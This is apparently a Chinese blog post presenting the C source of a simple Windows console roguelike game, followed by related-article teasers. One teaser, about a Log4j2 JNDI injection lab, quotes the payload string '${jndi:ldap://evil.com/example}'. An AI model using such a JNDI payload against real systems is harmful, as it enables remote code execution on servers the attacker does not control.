C 语言 ConsoleRogueLike 控制台肉鸽游戏 DEVC++ VS2022都可用

使用 C 语言和 windows 的键盘检测函数和延迟函数,开发的控制台 roguelike 游戏
点开 .exe 文件立即进入游戏
AWSD 移动
J 攻击
K 加成buff
没有结束条件,除非碰到敌人。
其他模块功能还没来得及开发

author : 民用级脑的研发记录
DEVC++ 项目工程代码副本:
链接:https://pan.baidu.com/s/1HVjKRDJrzxtRlddyfrBZow 
提取码:jhip
VS2022 项目工程代码副本
链接:https://pan.baidu.com/s/1vWCI2EIdNwpyqdoeNV2-DA 
提取码:aexz
CSDN 源代码 
https://mp.csdn.net/mp_blog/creation/editor?spm=1001.2101.3001.5352
代码请随意使用,在下抛砖引玉,给其他初学者的一点参考代码

BUG 说明:

在第一行时,敌人不会接触。
原理暂不明确,可能是坐标计算错了。
不打算修正了,直接当安全区可还行?

Have a good time

未完待续,后续若整好了 C 语言的 RPG 地图编辑器也一并开源

 

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <windows.h>
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)							// 判断是否按下按键,按下之后,最高位变成1,所以需要位运算去除其他位,只检测最高位 
#define KEY_DOWN_FOREGROUND(hWnd,vk) (KEY_DOWN(vk) && GetForegroundWindow() == hWnd) 		// 前景窗口判断
#pragma warning(disable : 4996)																// VS2022 报错某些不安全函数,这里禁用 VS 的某些警告 方便在其他函数移植进 Visualstdio2022 
struct enemys
{int x;int y;int is_live;
};
inline void showgame(int** gamemap, int high, int wide, char* player, char* ai)
{			// 更新游戏,由于printf只能一行接着一行打印,所以不能覆盖先前字符,只能增加缓冲区,在缓冲区里实现覆盖char p[10000] = { '\0' };char pen[2];int tile;for (int j = 0; j < wide; j++)strcat(p, "#");strcat(p, "\n");for (int i = 0; i < high; i++){strcat(p, "#");for (int j = 0; j < wide; j++){tile = gamemap[i][j];switch (tile){case 0:strcpy(pen, " ");break;default:sprintf(pen, "%d", tile);break;}strcat(p, pen);}strcat(p, "#\n");}for (int j = 0; j < wide; j++){strcat(p, "#");}strcat(p, "\n");printf("%s", p);													// 加载进缓存数组,减少 printf 使用,解决 printf 速度慢导致的屏闪
}int main()
{int** bkmap;													// 游戏背景图int** gamemap;													// 记录当前游戏地图形式int high;														// 地图高,宽int wide;int limitx;int limity;high = 20;wide = 100;limitx = 100;limity = 20;bkmap = new int* [limity];										// 初始化游戏地图gamemap = new int* [high];for (int i = 0; i < limity; i++)bkmap[i] = new int[limitx];for (int i = 0; i < high; i++)gamemap[i] = new int[wide];for (int i = 0; i < limity; i++)for (int j = 0; j < limitx; j++)bkmap[i][j] = 0;for (int i = 0; i < high; i++)for (int j = 0; j < wide; j++)gamemap[i][j] = 0;int playerx;													//	玩家位置int playery;int gamex;														// 显示区域int gamey;int player;														// 玩家记号player = 1;playerx = 0;playery = 0;gamex = 0;gamey = 0;int field = 9;int enemy;														// 敌人记号int indix;														// 刷新敌人时更新数组int enemynum;													// 敌人个数int enemymax;													// 敌人上限enemy = 2;enemynum = 10;enemymax = 100;enemys ai[100];													// 敌人数组for (int i = 0; i < 100; i++){ai[i].is_live = 0;ai[i].x = 0;ai[i].y = 0;}char playerview[100] = "6";char enemyview[100] = "2";printf("%s", playerview);int characterx;													// 敌人位置int charactery;charactery = 10;characterx = 10;printf("%s", enemyview);showgame(gamemap, high, wide, playerview, enemyview);int flag_x;int flag_y;int is_atk;int atk_area;int is_buff;flag_x = 0;flag_y = 0;is_atk = 0;atk_area = 1;is_buff = 0;HWND hwnd;hwnd = GetForegroundWindow();										// 获取前端窗口句柄,由于程序刚运行时是在前端,所以这就是本程序的窗口句柄srand(time(NULL));												// 设置随机数种子int gameover;gameover = 0;int cnt = 0;														// 敌人计算位置,每两帧移动一次while (1){flag_x = 0;													// 默认不按键时速度为0flag_y = 0;if (KEY_DOWN_FOREGROUND(hwnd, 0x41)){flag_x -= 1;}if (KEY_DOWN_FOREGROUND(hwnd, 0x57)){flag_y -= 1;}if (KEY_DOWN_FOREGROUND(hwnd, 0x44)){flag_x += 1;}if (KEY_DOWN_FOREGROUND(hwnd, 0x53)){flag_y += 1;}if (is_atk == 0 && KEY_DOWN_FOREGROUND(hwnd, 0x4A)){is_atk = 1;}if (is_buff == 0 && KEY_DOWN_FOREGROUND(hwnd, 0x4B)){is_buff = 1;}if (KEY_DOWN_FOREGROUND(hwnd, VK_ESCAPE)){printf("游戏退出\n");break;}if (KEY_DOWN_FOREGROUND(hwnd, 0x30))									// 绘制地图bkmap[playery][playerx] = 0;if (KEY_DOWN_FOREGROUND(hwnd, 0x36))									// 绘制地图bkmap[playery][playerx] = 6;if (KEY_DOWN_FOREGROUND(hwnd, 0x37))									// 绘制地图bkmap[playery][playerx] = 7;if (KEY_DOWN_FOREGROUND(hwnd, 0x38))									// 绘制地图bkmap[playery][playerx] = 8;if (KEY_DOWN_FOREGROUND(hwnd, 0x39))									// 绘制地图bkmap[playery][playerx] = 9;if (flag_x > 1)														// 速度限制flag_x = 1;else if (flag_x < -1)flag_x = -1;if (flag_y > 1)flag_y = 1;else if (flag_y < -1)flag_y = -1;if (flag_x)															// 位移改变playerx += flag_x;if (flag_y)playery += flag_y;if (playerx >= limitx)													// 角色位置限制playerx = limitx - 1;else if (playerx < 0)playerx = 0;if (playery >= limity)playery = limity - 1;else if (playery < 0)playery = 0;for (int i = 0; i < high; i++)for (int j = 0; j < wide; j++)if (gamemap[i][j] != bkmap[i + gamey][j + gamex])									// 去除上次动作记录gamemap[i][j] = bkmap[i + gamey][j + gamex];if (is_atk % 12 != 0)  																	// 攻击{if (playerx < atk_area || playerx >= limitx - atk_area || playery < atk_area || playery >= limity - atk_area){is_atk = 0;}else{is_atk++;if (characterx - playerx >= -atk_area && charactery - playery >= -atk_area && characterx - playerx <= atk_area && charactery - playery <= atk_area)										// 是否攻击到敌人field = 0;for (int n = 0; n < 100; n++){if (ai[n].is_live){if (ai[n].x - playerx >= -atk_area && ai[n].y - playery >= -atk_area && ai[n].x - playerx <= atk_area && ai[n].y - playery <= atk_area)	// 是否攻击到敌群ai[n].is_live = 0;}}for (int i = playery - atk_area; i <= playery + atk_area; i++)for (int j = playerx - atk_area; j <= playerx + atk_area; j++)						// 范围攻击记号{gamemap[i][j] = is_atk;if (bkmap[i][j] != 0)bkmap[i][j] = 0;}}}else is_atk = 0;for (int n = 0; n < 100; n++)															// 打印存活敌人if (ai[n].is_live)gamemap[ai[n].y][ai[n].x] = enemy;gamemap[charactery][characterx] = field;												// 敌人比攻击晚赋值,所以敌人可以覆盖攻击图标if (is_buff % 22 != 0)																	// buff 持续时间 12 帧{is_buff++;atk_area = 3;player = is_buff;}else{is_buff = 0;atk_area = 1;player = 1;}indix = 0;enemynum = 0;cnt++;while (indix < enemymax)																	// 加入新的敌人{if (ai[indix].is_live){enemynum++;if (cnt % 2 == 0){if (ai[indix].x < playerx)ai[indix].x++;else if (ai[indix].x > playerx)ai[indix].x--;if (ai[indix].y < playery)ai[indix].y++;else if (ai[indix].y > player)ai[indix].y--;cnt = cnt % 2;}if (playerx == ai[indix].x && playery == ai[indix].y){gameover = 1;player = 1;}}else{ai[indix].x = rand() % 100;ai[indix].y = rand() % 20;ai[indix].is_live = 1;enemynum++;}indix++;if (enemynum >= 15)break;}printf("player x %d y %d\n", playerx, playery);gamemap[playery][playerx] = player;showgame(gamemap, high, wide, playerview, enemyview);while (gameover == 1){printf("game over\n");printf("按 R 重新开始\n按 ESC 退出游戏\n");if (KEY_DOWN_FOREGROUND(hwnd, 0x52)){gameover = 0;playerx = 0;playery = 0;enemynum = 0;break;}else if (KEY_DOWN_FOREGROUND(hwnd, VK_ESCAPE)){break;}showgame(gamemap, high, wide, playerview, enemyview);Sleep(50);system("cls");}if (gameover == 1)break;Sleep(100);system("cls");																		// 清屏}system("cls");printf("Have a good time\n");system("pause");Sleep(50);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/478045.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BN介绍:卷积神经网络中的BatchNorm

一、BN介绍 1.原理 在机器学习中让输入的数据之间相关性越少越好&#xff0c;最好输入的每个样本都是均值为0方差为1。在输入神经网络之前可以对数据进行处理让数据消除共线性&#xff0c;但是这样的话输入层的激活层看到的是一个分布良好的数据&#xff0c;但是较深的激活层…

防御保护——综合实验

拓扑图 实验需求&#xff1a; 1.Fw1和Fw2组成主备模式的双机热备 2.DMZ区存在两台服务器&#xff0c;现在要求生产区的设备仅能在办公时间&#xff08;9:00-18:00&#xff09;访问&#xff0c;办公区的设备全天都可以访问。 3.办公区设备可以通过电信链路和移动链路上网(多对多…

MSS与cwnd的关系,rwnd又是什么?

慢启动算法是指数递增的 这种指数增长的方式是慢启动算法的一个核心特点&#xff0c;它确保了TCP连接在开始传输数据时能够快速地探测网络的带宽容量&#xff0c;而又不至于过于激进导致网络拥塞。具体来说&#xff1a; 初始阶段&#xff1a;当TCP连接刚建立时&#xff0c;拥…

FreeRTOS移植到GD32

目录 一、GD32基础工程创建&#xff1a; 1、创建如下文件夹 2、在keil5创建工程 3、在工程添加相关.c文件和头文件路径 4、实例&#xff1a;实现LED闪烁功能 二、在基础工程添加FreeRTOS&#xff1a; 1、FreeRTOS中的文件: 2、添加的源文件: 3、添加的头文件路径: 4、…

Stackoverflow(1)-根据RequestBody的内容来区分使用哪个资源

如果使用Spring&#xff0c;可以通过RequestBody将请求体的json转换为Java对象&#xff0c;但如果URI相同&#xff0c;而请求体的内容不同&#xff0c;应该怎么办&#xff1f;问题来源(stackoverflow)&#xff1a;Spring RequestBody without using a pojo?稍微研究了一下&…

Slack 给平台加入了 AI 驱动的搜索和总结功能

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

面向对象 设计原则

0 引言 单一职责原则&#xff1a;类应该只有一个改变的理由&#xff1b; 开放-封闭原则&#xff1a;类应该对扩展开放&#xff0c;对修改关闭&#xff1b; 迪米特原则&#xff1a;只和朋友交谈&#xff1b; 里氏替换原则&#xff1a;子类可以扩展父类的功能&#xff0c;但不能…

picker选择器-年月日选择

从底部弹起的滚动选择器。支持五种选择器&#xff0c;通过mode来区分&#xff0c;分别是普通选择器&#xff0c;多列选择器&#xff0c;时间选择器&#xff0c;日期选择器&#xff0c;省市区选择器&#xff0c;默认是普通选择器。 学习一下日期选择器 平台差异说明 日期选择默…

0219作业

作业1 求两个数最大公约数 .text 文本段 .global _start 声明一个全局的_start函数 _start: 汇编的入口mov r0,#0x9mov r1,#0xfloop:cmp r0,r1 比较r0,r1beq stop 相等subhi r0,r0,r1 subcc r1,r1,r0b loopstop: 标签b stop 跳转到stop标签下的第一条指令进行执行 while…

CI/CD部署

什么是CI&#xff0c;什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成&#xff08;Continuous Integration&#xff09;&#xff0c;是一种实践&#xff0c;旨在通过自动化构建、测试和代码静态分析等过程&#xff0c;频繁地将代码变更合并到共享存储…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

在ubuntu20.04 上配置 qemu/kvm linux kernel调试环境

一&#xff1a;安装qemu/kvm 和 virsh qemu/kvm 是虚拟机软件&#xff0c;virsh是管理虚拟机的命令行工具&#xff0c;可以使用virsh创建&#xff0c;编辑&#xff0c;启动&#xff0c;停止&#xff0c;删除虚拟机。 &#xff08;1&#xff09;&#xff1a;安装之前&#xff0c…